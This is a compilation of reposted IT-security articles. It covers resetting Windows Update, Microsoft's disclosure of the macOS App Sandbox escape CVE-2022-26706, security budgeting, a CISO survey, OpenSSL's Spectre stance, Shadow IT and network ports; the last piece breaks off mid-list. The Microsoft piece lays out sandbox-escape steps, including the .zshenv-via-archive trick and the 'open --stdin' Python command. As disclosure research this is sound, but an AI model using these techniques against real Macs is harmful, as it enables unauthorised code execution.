Category: Wifi

How to reset Windows Update components on Windows 10

Windows Update is an essential component of Windows 10, as it provides the ability to download and install the latest updates with bug fixes, security patches, and drivers. Also, it is the mechanism to download new feature updates and preview builds. However, there will be times when your device may not download or install updates because of a specific error message, Windows Update not connecting to the Microsoft servers and other problems.

Typically, users may encounter this type of problem when the Windows Update agent-related services stop working, Windows 10 has an issue with the update cache, or some components get corrupted. You can reset Windows Update on Windows 10 to fix most problems in these situations.

In this guide, you will learn the steps to reset the Windows Update components using the “Windows Update Troubleshooter” utility. Also, you will learn the instructions to use Command Prompt to fix Windows Update manually to get security patches, drivers, and features downloading again on your computer. However, before using the Command Prompt option, make sure to use the instructions to install the most recent update manually, Service Stack Update (SSU), and repair system files first. 

How to reset Windows Update using Troubleshooter tool

To reset Windows Update using the troubleshooter, use these steps:

  1. Download the Windows Update Troubleshooter from Microsoft.
  2. Double-click the WindowsUpdateDiagnostic.diagcab file to run the troubleshooter.
  3. Select the Windows Update option.
  4. Click the Next button.Windows Update TroubleshooterWindows Update Troubleshooter
  5. Click the Try troubleshooting as an administrator option (if applicable). Re-select the option and click the Next button again.
  6. Click the Close button.
  7. Open Windows Update Troubleshooter again.
  8. Select the Windows Networking Diagnostics option to resolve any networking issues preventing updates from downloading.
  9. Click the Next button.
  10. Click the Close button.
  11. Restart the computer.

Once the computer restarts, try to update Windows 10 one more time, and now it should work as expected.

How to fix Windows Update installing latest update manually

To install an update manually, which can help to fix problems with Windows Update on Windows 10, use these steps:

  1. Open the Windows 10 update history website.
  2. In the left pane, browse the latest update for your version of Windows 10 and note the update’s KB number.Quick tip: You can check your current version on Settings > System > About, and under the “Windows Specifications” section, confirm the version information.
  3. Open the Microsoft Update Catalog website.
  4. Search for the knowledge base (KB) number of the update.Download Windows Update manuallyDownload Windows Update manually
  5. Download the update for the version of Windows 10 that you have (32-bit (x86) or 64-bit (x64)).
  6. Double-click the file to install the update.
  7. Restart the computer.

Once you complete the steps, the device should have the latest update installed. The update should have also fixed the problem with Windows Update. You can check by clicking the Check for updates button on the Windows Update settings page.

How to fix Windows Update installing latest Servicing Stack Update (SSU)

To make sure the computer has the most recent Servicing Stack Update to fix Windows Update problems, use these steps:

  1. Open Settings.
  2. Click on System.
  3. Click on About.
  4. Under the “System type” section, check whether you have the 32-bit or 64-bit version of Windows 10.Windows 10 architecture settingsWindows 10 architecture settings
  5. Open the Microsoft Update Catalog website.
  6. Download the most recent Servicing Stack Update for the version you have (32-bit (x86) or 64-bit (x64)).
  7. Double-click the file to install the update.
  8. Restart your computer.

After you restart the computer, you should now be able to download and install the update using the Settings app.

How to fix Windows Update repairing corrupted system files

To repair system files using the Deployment Image Servicing and Management (DISM) and System File Checker (SFC) tools to fix Windows Update problems, use these steps:

  1. Open Start.
  2. Search for Command Prompt, right-click the top result, and select the Run as administrator option.
  3. Type the following DISM command to repair corrupted system files and press Enter:dism.exe /Online /Cleanup-image /Restorehealth
  4. Type the following SFC command to repair system files and press Enter:sfc /scannowWindows Update dism and sfc repairWindows Update dism and sfc repair

After you complete the steps, the Windows Update components should start working again, and you can check for updates again to verify.

How to reset Windows Update using Command Prompt

To reset Windows Update manually using Command Prompt on Windows 10, use these steps:

  1. Open Start.
  2. Search for Command Prompt, right-click the top result, and select the Run as administrator option.
  3. Type the following commands to stop the Background Intelligent Transfer Service (BITS), Windows Update service, and Cryptographic service, and press Enter on each line:net stop bits net stop wuauserv net stop appidsvc net stop cryptsvcStop Windows Update servicesStop Windows Update servicesQuick tip: You may need to run the command more than once until you see the message that the service has stopped successfully.
  4. Type the following command to delete all the qmgr*.dat files created by BITS from your PC. and press Enter:Del “%ALLUSERSPROFILE%\Application Data\Microsoft\Network\Downloader\*.*”Reset Windows Update commandsReset Windows Update commands
  5. Type Y to confirm the deletion.
  6. Type the following commands to clear the Windows Update cache to allow Windows 10 to re-download the updates, instead of using the files already downloaded on the system that might be damaged and press Enter on each line:rmdir %systemroot%\SoftwareDistribution /S /Q rmdir %systemroot%\system32\catroot2 /S /QQuick tip: We use the remove directory rmdir command with the /S option to delete the specified directory and all subdirectories within the main folder, and the /Q option deletes directories quietly without confirmation. If you get the message “The process cannot access the file because it is being used by another process,” then repeat step No. 1 and try again, as one of the services might have restarted unexpectedly.
  7. Type the following commands to reset the BITS and Windows Update services to their default security descriptor, and press Enter on each line:sc.exe sdset bits D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWLOCRRC;;;AU)(A;;CCLCSWRPWPDTLOCRRC;;;PU) sc.exe sdset wuauserv D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWLOCRRC;;;AU)(A;;CCLCSWRPWPDTLOCRRC;;;PU)
  8. Type the following command to move to the System32 folder and press Enter:cd /d %windir%\system32
  9. Type the following commands to register all the corresponding BITS and Windows Update DLL files on the Registry and press Enter on each line:regsvr32.exe /s atl.dll regsvr32.exe /s urlmon.dll regsvr32.exe /s mshtml.dll regsvr32.exe /s shdocvw.dll regsvr32.exe /s browseui.dll regsvr32.exe /s jscript.dll regsvr32.exe /s vbscript.dll regsvr32.exe /s scrrun.dll regsvr32.exe /s msxml.dll regsvr32.exe /s msxml3.dll regsvr32.exe /s msxml6.dll regsvr32.exe /s actxprxy.dll regsvr32.exe /s softpub.dll regsvr32.exe /s wintrust.dll regsvr32.exe /s dssenh.dll regsvr32.exe /s rsaenh.dll regsvr32.exe /s gpkcsp.dll regsvr32.exe /s sccbase.dll regsvr32.exe /s slbcsp.dll regsvr32.exe /s cryptdlg.dll regsvr32.exe /s oleaut32.dll regsvr32.exe /s ole32.dll regsvr32.exe /s shell32.dll regsvr32.exe /s initpki.dll regsvr32.exe /s wuapi.dll regsvr32.exe /s wuaueng.dll regsvr32.exe /s wuaueng1.dll regsvr32.exe /s wucltui.dll regsvr32.exe /s wups.dll regsvr32.exe /s wups2.dll regsvr32.exe /s wuweb.dll regsvr32.exe /s qmgr.dll regsvr32.exe /s qmgrprxy.dll regsvr32.exe /s wucltux.dll regsvr32.exe /s muweb.dll regsvr32.exe /s wuwebv.dllQuick note: The regsvr32 helps to register “.DLL” files as command components in the Registry, and we use the /S option to specify the tool to run the command silently without prompting additional messages.
  10. Type the following commands to reset the network configurations that might be part of the problem (but do not restart your computer just yet), and press Enter on each line:netsh winsock reset netsh winsock reset proxyReset network adapter on Windows 10Reset network adapter on Windows 10
  11. Type the following commands to restart the BITS, Windows Update, and Cryptographic services, and press Enter on each line:net start bits net start wuauserv net start appidsvc net start cryptsvc
  12. Restart the computer.

Once you complete the steps, Windows Update should have reset, and it should be working again on your Windows 10 device.

You can also use the above instructions to fix the update problems when Surface Pro 8, Pro 7, Laptop 4, Studio, or any other Surface cannot seem to download a new firmware update.

Source :
https://pureinfotech.com/reset-windows-update-windows-10-fix-downloads-installs/

Uncovering a macOS App Sandbox escape vulnerability: A deep dive into CVE-2022-26706

Microsoft uncovered a vulnerability in macOS that could allow specially crafted codes to escape the App Sandbox and run unrestricted on the system. We shared these findings with Apple through Coordinated Vulnerability Disclosure (CVD) via Microsoft Security Vulnerability Research (MSVR) in October 2021. A fix for this vulnerability, now identified as CVE-2022-26706, was included in the security updates released by Apple on May 16, 2022. Microsoft shares the vulnerability disclosure credit with another researcher, Arsenii Kostromin (0x3c3e), who discovered a similar technique independently.

We encourage macOS users to install these security updates as soon as possible. We also want to thank the Apple product security team for their responsiveness in fixing this issue.

The App Sandbox is Apple’s access control technology that application developers must adopt to distribute their apps through the Mac App Store. Essentially, an app’s processes are enforced with customizable rules, such as the ability to read or write specific files. The App Sandbox also restricts the processes’ access to system resources and user data to minimize the impact or damage if the app becomes compromised. However, we found that specially crafted codes could bypass these rules. An attacker could take advantage of this sandbox escape vulnerability to gain elevated privileges on the affected device or execute malicious commands like installing additional payloads.

We found the vulnerability while researching potential ways to run and detect malicious macros in Microsoft Office on macOS. For backward compatibility, Microsoft Word can read or write files with an “~$” prefix. Our findings revealed that it was possible to escape the sandbox by leveraging macOS’s Launch Services to run an open –stdin command on a specially crafted Python file with the said prefix.

Our research shows that even the built-in, baseline security features in macOS could still be bypassed, potentially compromising system and user data. Therefore, collaboration between vulnerability researchers, software vendors, and the larger security community remains crucial to helping secure the overall user experience. This includes responsibly disclosing vulnerabilities to vendors.

In addition, insights from this case study not only enhance our protection technologies, such as Microsoft Defender for Endpoint, but they also help strengthen the security strategies of software vendors and the computing landscape at large. This blog post thus provides details of our research and overviews of similar sandbox escape vulnerabilities reported by other security researchers that helped enrich our analysis.

How macOS App Sandbox works

In a nutshell, macOS apps can specify sandbox rules for the operating system to enforce on themselves. The App Sandbox restricts system calls to an allowed subset, and the said system calls can be allowed or disallowed based on files, objects, and arguments. Simply put, the sandbox rules are a defense-in-depth mechanism that dictates the kind of operations an application can or can’t do, regardless of the type of user running it. Examples of such operations include:

  • the kind of files an application can or can’t read or write;
  • whether the application can access specific resources such as the camera or the microphone, and;
  • whether the application is allowed to perform inbound or outbound network connections.
Diagram comparing how user data and system resources access an app without and with App Sandbox. Without App Sandbox, all user data and system resources will have unrestricted access to the app. With App Sandbox, only the data and resources confined within the said sandbox will have unrestricted access to the app. All other user data and resources won't have access.
Figure 1. Illustration of a sandboxed app, from the App Sandbox documentation (photo credit: Apple)

Therefore, the App Sandbox is a useful tool for all macOS developers in providing baseline security for their applications, especially for those that have large attack surfaces and run user-provided code. One example of these applications is Microsoft Office.

Sandboxing Microsoft Office in macOS

Attackers have targeted Microsoft Office in their attempts to gain a foothold on devices and networks. One of their techniques is abusing Office macros, which they use in social engineering attacks to trick users into downloading malware and other payloads.

On Windows systems, Microsoft Defender Application Guard for Office helps secure Microsoft Office against such macro abuse by isolating the host environment using Hyper-V. With this feature enabled, an attacker must first be equipped with a Hyper-V guest-to-host vulnerability to affect the host system—a very high bar compared to simply running a macro. Without a similar isolation technology and default setting on macOS, Office must rely on the operating system’s existing mitigation strategies. Currently, the most promising technology is the macOS App Sandbox.

Viewing the Microsoft sandbox rules is quite straightforward with the codesign utility. Figure 2 below shows the truncated sandbox rules for Microsoft Word:

Partial screenshot of a command line interface showing different keys and values related to the App Sandbox rules for Microsoft Word in macOS.
Figure 2. Viewing the Microsoft Word sandbox rules with the codesign utility

One of the rules dictates the kind of files the application is allowed to read or write. As seen in the screenshot of the syntax below, Word is allowed to read or write files with filenames that start with the “~$” prefix. The reason for this rule is rooted in the way Office works internally and remains intact for backward compatibility.

Partial screenshot of a command line interface showing the read/write App Sandbox rule for Microsoft Word in macOS.
Figure 3. File read and write sandbox rule for Microsoft Word

Despite the security restrictions imposed by the App Sandbox’s rules on applications, it’s possible for attackers to bypass the said rules and let malicious codes “escape” the sandbox and execute arbitrary commands on an affected device. These codes could be hidden in a specially crafted Word macro, which, as mentioned earlier, is one of the attackers’ preferred entry points.

Previously reported Office-specific sandbox escape vulnerability

For example, in 2018, MDSec reported a vulnerability in Microsoft Office on macOS that could allow an attacker to bypass the App Sandbox. As explained in their blog post, MDSec’s proof-of-concept (POC) exploit took advantage of the fact that Word could drop files with arbitrary contents to arbitrary directories (even after passing traditional permission checks), as long as these files’ filenames began with a “~$” prefix. This bypass was relatively straightforward: have a specially crafted macro drop a .plist file in the user’s LaunchAgents directory.

The LaunchAgents directory is a well-known persistence mechanism in macOS. PLIST files that adhere to a specific structure describe (that is, contain the metadata of) macOS launch agents initiated by the launchd process when a user signs in. Since these launch agents will be the children of launchd, they won’t inherit the sandbox rules enforced onto Word, and therefore will be out of the Office sandbox.

Shortly after the above vulnerability was reported, Microsoft deployed a fix that denied file writes to the LaunchAgents directory and other folders with similar implications. The said disclosure also prompted us to look into different possible sandbox escapes in Microsoft Word and other applications.

Exploring Launch Services as means of escaping the sandbox

In 2020, several blog posts described a generic sandbox escape vulnerability in macOS’s /usr/bin/open utility, a command commonly used to launch files, folders, and applications just as if a user double-clicked them. While open is a handy command, it doesn’t create child processes on its own. Instead, it performs an inter-process communication (IPC) with the macOS Launch Services, whose logic is implemented in the context of the launchd process. Launch Services then performs the heavy lifting by resolving the handler and launching the right app. Since launchd creates the process, it’s not restricted by the caller’s sandbox, similar to how MDSec’s POC exploit worked in 2018.

However, using open for sandbox escape purposes isn’t trivial because the destination app must be registered within Launch Services. This means that, for example, one couldn’t run files like osascript outside the sandbox using open. Our internal offensive security team therefore decided to reassess the open utility for sandbox escape purposes and use it in a larger end-to-end attack simulation.

Our obvious first attempt in creating a POC exploit was to create a macro that launches a shell script with the Terminal app. Surprisingly, the POC didn’t work because files dropped from within the sandboxed Word app were automatically given the extended attribute com.apple.quarantine (the same one used by Safari to keep track of internet-downloaded files, as well as by Gatekeeper to block malicious files from executing), and Terminal simply refused to run files with that attribute. We also tried using Python scripts, but the Python app had similar issues running files having the said attribute.

Our second attempt was to use application extensibility features. For example, Terminal would run the default macOS shell (zsh), which would then run arbitrary commands from files like ~/.zshenv before running its own command line. This meant that dropping a .zshenv file in the user’s home directory and launching the Terminal app would cause the sandbox escape. However, due to Word’s sandbox rules, dropping a .zshenv file wasn’t straightforward, as the rules only allowed an application to write to files that begin with the “~$” prefix.

However, there is an interesting way of writing such a file indirectly. macOS was shipped with an application called Archive Utility responsible of extracting archive files (such as ZIP files). Such archives were extracted without any user interaction, and the files inside an archive were extracted in the same directory as the archive itself. Therefore, our second POC worked as follows:

  1. Prepare the payload by creating a .zshenv file with arbitrary commands and placing it in a ZIPfile. Encode the ZIPfile contents in a Word macro and drop those contents into a file “~$exploit.zip” in the user’s home directory.
  2. Launch Archive Utility with the open command on the “~$exploit.zip” file. Archive Utility ran outside the sandbox (since it’s the child process of /usr/bin/open) and was therefore permitted to create files with arbitrary names. By default, Archive Utility extracted the files next to the archive itself—in our case, the user’s home directory. Therefore, this step successfully created a .zshenv file with arbitrary contents in the user’s home directory.
  3. Launch the Terminal app with the open command. Since Terminal hosted zsh and zsh ran commands from the .zshenv file, the said file could escape the Word sandbox successfully.
Screenshot of a command line interface showing proof-of-concept exploit code.
Figure 4. Preparing a Word macro with our sandbox escape for an internal Red Team operation

Perception Point’s CVE-2021-30864

In October 2021, Perception Point published a blog post that discussed a similar finding (and more elegant, in our opinion). In the said post, Perception Point released details about their sandbox escape (now identified as CVE-2021-30864), which used the following facts:

  1. Every sandboxed process had its own container directory that’s used as a “scratch space.” The sandboxed process could write arbitrary files, including arbitrary filenames, to that directory unrestricted.
  2. The open command had an interesting –env option that could set or override arbitrary environment variables for the launched app.

Therefore, Perception Point’s POC exploit was cleverly simple:

  1. Drop a .zshenv file in the container directory. This was allowed because sandbox rules weren’t enforced on that directory.
  2. Launch Terminal with the open command but use the –env option to override the HOME environment variable to point to the container directory. This made zsh consider the user’s home directory to be the container directory, and run commands from the planted .zshenv file.

Apple has since patched the vulnerability Perception Point reported in the latest version of macOS, Monterey. While we could still create the “~$exploit.zip” file in the user’s home directory, using open to launch the Archive Utility on the ZIP file now resulted in it being extracted to the Downloads folder. While this is an interesting behavior, we could no longer use it for sandbox escape purposes.

Final exploit attempt: Revisiting the ‘open’ command

After discovering that Apple has fixed both variants that abuse .zshenv, , we decided to examine all the command line options of the open command. Soon after, we came across the following:

Screenshot of a command line interface with the following text: --stdin PATH Launches the application with stdin connected to PATH.
Figure 5. The –stdin option in the open utility as presented by its manual entry

As mentioned earlier, we couldn’t run Python with a dropped .py file since Python refuses to run files with the “com.apple.quarantine” extended attribute. We also considered abusing the PYTHONSTARTUP environment variable, but Apple’s fix to CVE-2021-30864 apparently prevented that option, too. However, –stdin bypassed the “com.apple.quarantine” extended attribute restriction, as there was no way for Python to know that the contents from its standard input originated from a quarantined file.

Our POC exploit thus became simply as follows:

  1. Drop a “~$exploit.py” file with arbitrary Python commands.
  2. Run open –stdin=’~$exploit.py’ -a Python, which runs the Python app with our dropped file serving as its standard input. Python happily runs our code, and since it’s a child process of launchd, it isn’t bound to Word’s sandbox rules.
Screenshot of a proof-of-concept exploit code.
Figure 6. Sample minimal POC exploit code

We also came up with a version that’s short enough to be a Twitter post:

Screenshot of a proof-of-concept exploit code.
Figure 7. “Tweetable” POC exploit

Detecting App Sandbox escapes with Microsoft Defender for Endpoint

Since our initial discovery of leveraging Launch Services in macOS for generic sandbox escapes, we have been using our POC exploits in Red Team operations to emulate end-to-end attacks against Microsoft Defender for Endpoint, improve its capabilities, and challenge our detections. Shortly after our Red Team used our first POC exploit, our Blue Team members used it to train artificial intelligence (AI) models to detect our exploit not only in Microsoft Office but also on any app used for a similar Launch Services-based sandbox escape.

After we learned of Perception Point’s technique and created our own new exploit technique (the Python POC), our Red Team saw another opportunity to fully test our own detection durability. Indeed, the same set of detection rules that handled our first sandbox escape vulnerability still turned out to be durable—even before the vulnerability related to our second POC exploit was patched.

Partial screenshot of Microsoft Defender for Endpoint detecting an Office sandbox escape vulnerability. The left panel shows the Alert Story with timestamps. The right panel shows the Alert details, including category, MITRE ATT&CK techniques, detection source, service source, detection status, and other information.
Figure 8. Microsoft Defender for Endpoint detecting Office sandbox escape

For Defender for Endpoint customers, such detection durability feeds into the product’s threat and vulnerability management capabilities, which allows them to quickly discover, prioritize, and remediate misconfigurations and vulnerabilities—including those affecting non-Windows devices—through a unified security console.

Learn how Microsoft Defender for Endpoint delivers a complete endpoint security solution across all platforms.

Jonathan Bar Or
Microsoft 365 Defender Research Team

Source :
https://www.microsoft.com/security/blog/2022/07/13/uncovering-a-macos-app-sandbox-escape-vulnerability-a-deep-dive-into-cve-2022-26706/

A Simple Formula for Getting Your IT Security Budget Approved

Although there is a greater awareness of cybersecurity threats than ever before, it is becoming increasingly difficult for IT departments to get their security budgets approved. Security budgets seem to shrink each year and IT pros are constantly being asked to do more with less. Even so, the situation may not be hopeless. There are some things that IT pros can do to improve the chances of getting their security budgets approved.

Presenting the Problem in a Compelling Way

If you want to get your proposed security budget approved, you will need to present security problems in a compelling way. While those who are in charge of the organization’s finances are likely aware of the need for good security, they have probably also seen enough examples of “a security solution in search of a problem” to make them skeptical of security spending requests. If you want to persuade those who control the money, then you will need to convince them of three things:

  1. You are trying to protect against a real issue that presents a credible threat to the organization’s wellbeing.
  2. Your proposed solution will be effective and that it isn’t just a “new toy for the IT department to play with”
  3. Your budget request is both realistic and justified.

Use Data to Your Advantage

One of the best ways to convince those who are in charge that there is a credible cyber threat against the organization is to provide them with quantifiable metrics. Don’t resort to gathering statistics from the Internet. Your organization’s financial staff is probably smart enough to know that most of those statistics are manufactured by security companies who are trying to sell a product or service. Instead, gather your own metrics from inside your organization by using tools that are freely available for download.

Specops for example, offers a free Password Auditor that can generate reports demonstrating the effectiveness of your organization’s password policy and existing password security vulnerabilities. This free tool can also help you to identify other vulnerabilities, such as accounts that are using passwords that are known to have been leaked or passwords that do not adhere to compliance standards or industry best practices.

Example of Specops Password Auditor results in an Active Directory environment

Of course, this is just one of the many free security tools that are available for download. In any case, it is important to use metrics from within your own organization to demonstrate the fact that the security problem that you are trying to solve is real.

Highlight What a Solution Would Do

Once you demonstrate the problem to those who are in charge of the organization’s finances, do not make the mistake of leaving them guessing as to how you are planning on solving the problem. Be prepared to clearly explain what tools you are planning on using, and how those tools will solve the problem that you have demonstrated.

It’s a good idea to use visuals to demonstrate the practicality of your proposed solution. Be sure to explain how the problem is solved in non-technical language and enhance your argument with examples that are specific to your organization.

Estimated Time of Implementation and Seeing Results

We have probably all heard horror stories of IT projects that have gone off the rails. Organizations sometimes spend millions of dollars and invest years of planning into IT projects that never ultimately materialize. That being the case, it is important to set everyone’s mind at ease by showing them exactly how long it will take to get your proposed solution up and running and then how much additional time will be needed in order to achieve the desired result.

When you are making these projections, be careful to be realistic and not to make promises based on an overly ambitious implementation schedule. You should also be prepared to explain how you arrived at your projection. Keep in mind upcoming projects, company-wide goals, and fiscal year ideals when factoring in timing.

Demonstrate the Estimated Savings

Although security is of course a concern for most organizations, those who are in charge of an organization’s finances typically want to see some sort of return on investment. As such, it is important to consider how your proposed solution might save the company money. A few ideas might include:

  • Saving the IT department time, thereby reducing the number of overtime hours worked
  • Avoiding a regulatory penalty that could cost the organization a lot of money
  • Bringing down insurance premiums because data is being better protected

Of course, these are just ideas. Every situation is different, and you will need to consider how your security project can produce a return on investment given your own unique circumstances. It is important to include a cost-saving element for clarity sake, even if it is citing the average cost of a data breach in your industry.

Show You’ve Done Your Homework with a Pricing Comparison

As you pitch your proposed solution, stakeholders are almost certain to ask whether there might be a less expensive product that would accomplish your objectives. As such, it’s important to spend some time researching the solutions offered by competing vendors. Here are a few things that you should be prepared to demonstrate:

  • The total cost for implementing each potential solution (this may include licensing, labor, support, and hardware costs)
  • Why you are proposing a particular solution even if it is not the least expensive
  • If your solution is the least expensive, then be prepared to explain what you might be giving up by using the cheapest vendor.
  • What each vendor offers relative to the others

A Few Quick Tips

As you make your budgetary pitch, keep in mind that those to whom you are presenting likely have a limited understanding of IT concepts. Avoid using unnecessary technical jargon and be prepared to clearly explain key concepts, but without sounding condescending in the process.

It’s also smart to anticipate any questions that may be asked of you and have answers to those questions ready to go. This is especially true if there is a particular question that makes you a little bit uncomfortable.

Present your information clearly, confidently, and in a concise manner (I.e., make it quick!) so you can make your case without wasting time.

Source:
https://thehackernews.com/2022/07/a-simple-formula-for-getting-your-it.html

5 Key Things We Learned from CISOs of Smaller Enterprises Survey

New survey reveals lack of staff, skills, and resources driving smaller teams to outsource security.

As business begins its return to normalcy (however “normal” may look), CISOs at small and medium-size enterprises (500 – 10,000 employees) were asked to share their cybersecurity challenges and priorities, and their responses were compared the results with those of a similar survey from 2021.

Here are the 5 key things we learned from 200 responses:

1 — Remote Work Has Accelerated the Use of EDR Technologies

In 2021, 52% of CISOs surveyed were relying on endpoint detection and response (EDR) tools. This year that number has leapt to 85%. In contrast, last year 45% were using network detection and response (NDR) tools, while this year just 6% employ NDR. Compared to 2021, double the number of CISOs and their organizations are seeing the value of extended detection and response (XDR) tools, which combine EDR with integrated network signals. This is likely due to the increase in remote work, which is more difficult to secure than when employees work within the company’s network environment.

2 — 90% of CISOs Use an MDR Solution

There is a massive skills gap in the cybersecurity industry, and CISOs are under increasing pressure to recruit internally. Especially in small security teams where additional headcount is not the answer, CISOs are turning to outsourced services to fill the void. In 2021, 47% of CISOs surveyed relied on a Managed Security Services Provider (MSSP), while 53% were using a managed detection and response (MDR) service. This year, just 21% are using an MSSP, and 90% are using MDR.

3 — Overlapping Threat Protection Tools are the #1 Pain Point for Small Teams

The majority (87%) of companies with small security teams struggle to manage and operate their threat protection products. Among these companies, 44% struggle with overlapping capabilities, while 42% struggle to visualize the full picture of an attack when it occurs. These challenges are intrinsically connected, as teams find it difficult to get a single, comprehensive view with multiple tools.

4 — Small Security Teams Are Ignoring More Alerts

Small security teams are giving less attention to their security alerts. Last year 14% of CISOs said they look only at critical alerts, while this year that number jumped to 21%. In addition, organizations are increasingly letting automation take the wheel. Last year, 16% said they ignore automatically remediated alerts, and this year that’s true for 34% of small security teams.

5 — 96% of CISOs Are Planning to Consolidate Security Platforms

Almost all CISOs surveyed have consolidation of security tools on their to-do lists, compared to 61% in 2021. Not only does consolidation reduce the number of alerts – making it easier to prioritize and view all threats – respondents believe it will stop them from missing threats (57%), reduce the need for specific expertise (56%), and make it easier to correlate findings and visualize the risk landscape (46%). XDR technologies have emerged as the preferred method of consolidation, with 63% of CISOs calling it their top choice.

Download 2022 CISO Survey of Small Cyber Security Teams to see all the results.

Source :
https://thehackernews.com/2022/07/5-key-things-we-learned-from-cisos-of.html

Spectre and Meltdown Attacks Against OpenSSL

The OpenSSL Technical Committee (OTC) was recently made aware of several potential attacks against the OpenSSL libraries which might permit information leakage via the Spectre attack.1 Although there are currently no known exploits for the Spectre attacks identified, it is plausible that some of them might be exploitable.

Local side channel attacks, such as these, are outside the scope of our security policy, however the project generally does introduce mitigations when they are discovered. In this case, the OTC has decided that these attacks will not be mitigated by changes to the OpenSSL code base. The full reasoning behind this is given below.

The Spectre attack vector, while applicable everywhere, is most important for code running in enclaves because it bypasses the protections offered. Example enclaves include, but are not limited to:

The reasoning behind the OTC’s decision to not introduce mitigations for these attacks is multifold:

  • Such issues do not fall under the scope of our defined security policy. Even though we often apply mitigations for such issues we do not mandate that they are addressed.
  • Maintaining code with mitigations in place would be significantly more difficult. Most potentially vulnerable code is extremely non-obvious, even to experienced security programmers. It would thus be quite easy to introduce new attack vectors or fix existing ones unknowingly. The mitigations themselves obscure the code which increases the maintenance burden.
  • Automated verification and testing of the attacks is necessary but not sufficient. We do not have automated detection for this family of vulnerabilities and if we did, it is likely that variations would escape detection. This does not mean we won’t add automated checking for issues like this at some stage.
  • These problems are fundamentally a bug in the hardware. The software running on the hardware cannot be expected to mitigate all such attacks. Some of the in-CPU caches are completely opaque to software and cannot be easily flushed, making software mitigation quixotic. However, the OTC recognises that fixing hardware is difficult and in some cases impossible.
  • Some kernels and compilers can provide partial mitigation. Specifically, several common compilers have introduced code generation options addressing some of these classes of vulnerability:
    • GCC has the -mindirect-branch, -mfunction-return and -mindirect-branch-register options
    • LLVM has the -mretpoline option
    • MSVC has the /Qspectre option
  1. Nicholas Mosier, Hanna Lachnitt, Hamed Nemati, and Caroline Trippel, “Axiomatic Hardware-Software Contracts for Security,” in Proceedings of the 49th ACM/IEEE International Symposium on Computer Architecture (ISCA), 2022.↩

Posted by OpenSSL Technical Committee May 13th, 2022 12:00 am

Source :
https://www.openssl.org/blog/blog/2022/05/13/spectre-meltdown/

What is Shadow IT and why is it so risky?

Shadow IT refers to the practice of users deploying unauthorized technology resources in order to circumvent their IT department. Users may resort to using shadow IT practices when they feel that existing IT policies are too restrictive or get in the way of them being able to do their jobs effectively.

An old school phenomenon

Shadow IT is not new. There have been countless examples of widespread shadow IT use over the years. In the early 2000s, for example, many organizations were reluctant to adopt Wi-Fi for fear that it could undermine their security efforts. However, users wanted the convenience of wireless device usage and often deployed wireless access points without the IT department’s knowledge or consent.

The same thing happened when the iPad first became popular. IT departments largely prohibited iPads from being used with business data because of the inability to apply group policy settings and other security controls to the devices. Even so, users often ignored IT and used iPads anyway.

Of course, IT pros eventually figured out how to secure iPads and Wi-Fi and eventually embraced the technology. However, shadow IT use does not always come with a happy ending. Users who engage in shadow IT use can unknowingly do irreparable harm to an organization.

Even so, the problem of shadow IT use continues to this day. If anything, shadow IT use has increased over the last several years. In 2021 for example, Gartner found that between 30% and 40% of all IT spending (in a large enterprise) goes toward funding shadow IT.

Shadow IT is on the rise in 2022

Remote work post-pandemic

One reason for the rise in shadow IT use is remote work. When users are working from home, it is easier for them to escape the notice if the IT department than it might be if they were to try using unauthorized technology from within the corporate office. A study by Core found that remote work stemming from COVID requirements increased shadow IT use by 59%.

Tech is getting simpler for end-users

Another reason for the increase in shadow IT is the fact that it is easier than ever for a user to circumvent the IT department. Suppose for a moment that a user wants to deploy a particular workload, but the IT department denies the request.

A determined user can simply use their corporate credit card to set up a cloud account. Because this account exists as an independent tenant, IT will have no visibility into the account and may not even know that it exists. This allows the user to run their unauthorized workload with total impunity.

In fact, a 2020 study found that 80% of workers admitted to using unauthorized SaaS applications. This same study also found that the average company’s shadow IT cloud could be 10X larger than the company’s sanctioned cloud usage.

Know your own network

Given the ease with which a user can deploy shadow IT resources, it is unrealistic for IT to assume that shadow IT isn’t happening or that they will be able to detect shadow IT use. As such, the best strategy may be to educate users about the risks posed by shadow IT. A user who has a limited IT background may inadvertently introduce security risks by engaging in shadow IT. According to a Forbes Insights report 60% of companies do not include shadow IT in their threat assessments.

Similarly, shadow IT use can expose an organization to regulatory penalties. In fact, it is often compliance auditors – not the IT department – who end up being the ones to discover shadow IT use.

Of course, educating users alone is not sufficient to stopping shadow IT use. There will always be users who choose to ignore the warnings. Likewise, giving in to user’s demands for using particular technologies might not always be in the organization’s best interests either. After all, there is no shortage of poorly written or outdated applications that could pose a significant threat to your organization. Never mind applications that are known for spying on users.

The zero-trust solution to Shadow IT

One of the best options for dealing with shadow IT threats may be to adopt zero trust. Zero-trust is a philosophy in which nothing in your organization is automatically assumed to be trustworthy. User and device identities must be proven each time that they are used to access a resource.

There are many different aspects to a zero-trust architecture, and each organization implements zero-trust differently. Some organizations for instance, use conditional access policies to control access to resources. That way, an organization isn’t just granting a user unrestricted access to a resource, but rather is considering how the user is trying to access the resource. This may involve setting up restrictions around the user’s geographic location, device type, time of day, or other factors.

Zero-trust at the helpdesk

One of the most important things that an organization can do with regard to implementing zero trust is to better secure its helpdesk. Most organizations’ help desks are vulnerable to social engineering attacks.

When a user calls and requests a password reset, the helpdesk technician assumes that the user is who they claim to be, when in reality, the caller could actually be a hacker who is trying to use a password reset request as a way of gaining access to the network. Granting password reset requests without verifying user identities goes against everything that zero trust stands for.

Specops Software’s Secure Service Desk can eliminate this vulnerability by making it impossible for a helpdesk technician to reset a user’s password until that user’s identity has been proven. You can test it out for free to reduce the risks of shadow IT in your network.

Source :
https://thehackernews.com/2022/06/what-is-shadow-it-and-why-is-it-so-risky.html

Securing Port 443: The Gateway To A New Universe

At Wordfence our business is to secure over 4 million WordPress websites and keep them secure. My background is in network operations, and then I transitioned into software development because my ops role was at a scale where I found myself writing a lot of code. This led me to founding startups, and ultimately into starting the cybersecurity business that is Wordfence. But I’ve maintained that ops perspective, and when I think about securing a network, I tend to think of ports.

You can find a rather exhaustive list of TCP and UDP ports on Wikipedia, but for the sake of this discussion let’s focus on a few of the most popular ports:

  • 20 and 21 – FTP
  • 22 – SSH
  • 23 – (Just kidding. You better not be running Telnet)
  • 25 – Email via SMTP
  • 53 – DNS
  • 80 – Unencrypted Web
  • 110 – POP3 (for older email clients)
  • 443 – Web encrypted via TLS
  • 445 – Active Directory or SMB sharing
